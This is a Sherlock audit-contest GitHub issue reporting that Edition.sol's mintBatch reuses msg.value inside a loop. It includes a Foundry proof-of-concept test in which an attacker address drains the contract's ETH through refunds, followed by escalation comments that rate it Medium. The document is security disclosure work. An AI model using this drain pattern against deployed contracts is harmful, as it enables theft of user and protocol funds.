sherlock-audit / 2024-04-titles-judging

10 stars 7 forks source link

ArsenLupin - The mintBatch function works incorrectly, which could case the revert or the Edition.sol being drained. #338

Closed sherlock-admin3 closed 5 months ago

sherlock-admin3 commented 5 months ago

ArsenLupin

high

The mintBatch function works incorrectly, which could case the revert or the Edition.sol being drained.

Summary

The mintBatch receives the tokenId array as input. Then, it execute the collectMintFee in the loop, the main reson for it is to collect respective fees for the tokenId's. However the function will not work as intended due to msg.value behaviour in the loop.

Vulnerability Detail

Let's take a look on the loop.

for (uint256 i = 0; i < tokenIds_.length; i++) {
            Work storage work = works[tokenIds_[i]];
            // wake-disable-next-line reentrancy
            FEE_MANAGER.collectMintFee{value: msg.value}(
                this, tokenIds_[i], amounts_[i], msg.sender, address(0), work.strategy
            );
            _checkTime(work.opensAt, work.closesAt);
            _updateSupply(work, amounts_[i]);
        }

Imagine:

  1. User wants to mint tokenId (1,2) in the loop
  2. User send respective msg.value to cover the collectMintFee for the two tokenId's, in our case it is 0.01275 ether for each = 0.0255 ether
  3. The first operation of the collectMintFee is executed in the loop. It consumes all 0.0255 ether
  4. However, the second iteration that is dedicated for collectingFees for the tokenId 2 will not work, and revert because there is not enough funds to execute the second iteration (because the first iteration consumed all the msg.value)
  5. The function will revert and doesn't allow to collect the fee for the multiple tokenId's
  6. HOWEVER! If the contract have some funds, they could be drained! The second iteration will retrieve the funds directly from the contract and return to the attacker via _refundExcess() function that is executed in the end.

This means that using msg.value in a for- or while-loop, without extra accounting logic, will either lead to the transaction reverting (when there are no longer sufficient funds for later iterations), or to the contract being drained (when the contract itself has an Eth balance)

Proof of Concept

function setUp() public {
        edition = new Edition();
        feeManager = new FeeManager(address(0xdeadbeef), address(0xc0ffee), address(new MockSplitFactory()));
        graph = new TitlesGraph(address(this), address(this));

        edition.initialize(
            feeManager,
            graph,
            address(this),
            address(this),
            Metadata({label: "Test Edition", uri: "ipfs.io/test-edition", data: new bytes(0)})
        );

        edition.publish(
            address(1), // creator
            100, // maxSupply
            0, // opensAt
            0, // closesAt
            new Node[](0), // attributions
            Strategy({
                asset: address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE),
                mintFee: 0.01 ether,
                revshareBps: 2500, // 25%
                royaltyBps: 250 // 2.5%
            }),
            Metadata({label: "Best Work Ever", uri: "ipfs.io/best-work-ever", data: new bytes(0)})
        );

        edition.publish(
            address(1), // creator
            100, // maxSupply
            0, // opensAt
            0, // closesAt
            new Node[](0), // attributions
            Strategy({
                asset: address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE),
                mintFee: 0.01 ether,
                revshareBps: 2500, // 25%
                royaltyBps: 250 // 2.5%
            }),
            Metadata({label: "Best Work Ever", uri: "ipfs.io/best-work-ever", data: new bytes(0)})
        );

        // Normally done by the TitlesCore, but we're testing in isolation
        feeManager.createRoute(edition, 1, new Target[](0), address(0));
        feeManager.createRoute(edition, 2, new Target[](0), address(0));
    }

function test_mintBatch() public {

        address attacker = address(8888);
        vm.deal(address(attacker), 0.0255 ether);

        uint256[] memory tokenIds = new uint256[](2);
        tokenIds[0] = 1;
        tokenIds[1] = 2;

        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 1;
        amounts[1] = 1;

        //maybe we need to publish before

        vm.deal(address(edition), 1 ether); //if we delete it, the function will revert because all msg.value is consumed first

        console.log("The balance of the Edition contract before the batch call is:", address(edition).balance);
        console.log("The balance of the attacker before the batch call is:", address(attacker).balance);

        vm.prank(address(attacker));
        edition.mintBatch{value: 0.0255 ether}(address(attacker), tokenIds, amounts, "0x");

        console.log("The balance of the Edition contract after the batch call is:", address(edition).balance);
        console.log("The balance of the attacker after the batch call is:", address(attacker).balance);    
    }

Impact

Function will not work / Funds could be drained

Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/main/wallflower-contract-v2/src/editions/Edition.sol#L277-L297

Tool used

Manual Review / Foundry

Recommendation

I would suggest avoid using msg.value in a loop

Duplicate of #280

ShaheenRehman commented 4 months ago

Escalate

This finding is a valid dup of #280

sherlock-admin3 commented 4 months ago

Escalate

This finding is a valid dup of #280

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity commented 4 months ago

Agree with the escalation, planning to accept and duplicate with #280

Evert0x commented 4 months ago

Result: Medium Duplicate of #280

sherlock-admin4 commented 4 months ago

Escalations have been resolved successfully!

Escalation status: